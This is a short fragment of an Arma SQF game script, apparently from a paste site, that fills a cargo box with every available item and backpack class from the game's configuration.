  2514. _items set[count _items, _classname];
  2515. };
  2516. };
  2517. }; {
  2518. _boxn addItemCargo[_x, 10];
  2519. }
  2520. foreach _items;
  2521. };
  2522. case 3:
  2523. {
  2524. _cfgweapons = configFile >> "CfgVehicles";
  2525. _backpacks = [];
  2526. for "_i"
  2527. from 0 to(count _cfgWeapons) - 1 do {
  2528. _cur_wep = _cfgweapons select _i;
  2529. if (isClass _cur_wep) then {
  2530. _classname = configName _cur_wep;
  2531. _wep_type = getText(_cur_wep >> "vehicleClass");
  2532. _scope = getNumber(_cur_wep >> "scope");
  2533. _picture = getText(_cur_wep >> "picture");
  2534. if (_scope >= 2 && _wep_type == "Backpacks" && _picture != "" && !(_classname in _backpacks)) then {
  2535. _backpacks set[count _backpacks, _classname];
  2536. };
  2537. };
  2538. }; {
  2539. _boxn addBackPackCargo[_x, 10];
  2540. }
  2541. foreach _backpacks;
  2542. };
  2543. };
  2544. };
  2545. };
  2546. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement